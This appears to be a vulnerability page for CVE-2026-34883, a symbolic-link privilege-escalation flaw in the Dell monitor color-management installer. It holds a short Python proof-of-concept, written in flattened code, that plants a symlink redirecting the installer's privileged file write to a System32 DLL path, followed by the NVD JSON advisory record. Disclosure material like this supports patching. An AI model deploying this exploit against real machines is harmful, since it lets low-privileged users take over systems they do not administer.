CVE-2026-34883

import os import sys # PoC for CVE-2026-34883 # This script demonstrates how a low-privileged user can create a symbolic link # to exploit the arbitrary file write vulnerability during installation. def create_symlink_poc(): # Target path where the installer tries to write installer_target_path = r"C:\ProgramData\Portrait Displays\CW\data\i1D3\CCFLFamily_07Feb11.edr" # Malicious destination (e.g., a system DLL or config file) # Example: Overwriting a service binary or DLL hijacking malicious_target = r"C:\Windows\System32\evil.dll" print(f"[*] Creating directory structure for: {os.path.dirname(installer_target_path)}") try: os.makedirs(os.path.dirname(installer_target_path), exist_ok=True) except Exception as e: print(f"[-] Failed to create directory: {e}") return print(f"[*] Creating symbolic link from {installer_target_path} to {malicious_target}") # Note: Creating symbolic links on Windows usually requires Developer Mode enabled # or SeCreateSymbolicLinkPrivilege. If not available, NTFS Junctions can be used for directories. # For file specific exploits, mounting a disk via 'subst' or using junctions on parent folders might be needed. # Here we assume the privilege is available or the environment allows it. try: os.symlink(malicious_target, installer_target_path) print("[+] Symbolic link created successfully.") print("[!] Wait for the installer or repair process to run with elevated privileges.") except OSError as e: print(f"[-] Failed to create symlink: {e}") print("[!] Ensure you have the necessary privileges or are running in a compatible environment.") if __name__ == "__main__": create_symlink_poc()

{"cve": {"id": "CVE-2026-34883", "sourceIdentifier": "[email protected]", "published": "2026-05-19T15:16:30.150", "lastModified": "2026-05-19T18:04:41.423", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in the Portrait Dell Color Management application before 3.7.0 for Dell monitors. On Windows, a symbolic link vulnerability allows a local low-privileged user to escalate privileges to Administrator. During installation, the software writes the file CCFLFamily_07Feb11.edr to C:\\ProgramData\\Portrait Displays\\CW\\data\\i1D3\\ while running with elevated privileges. Because the installer does not properly validate symbolic links or reparse points at the destination path, an attacker can create a malicious link that redirects the write operation to an arbitrary system location, enabling arbitrary file creation or overwrite with elevated privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "references": [{"url": "https://www.portrait.com/dell", "source": "[email protected]"}, {"url": "https://www.portrait.com/dell-security-cve-updates/", "source": "[email protected]"}]}}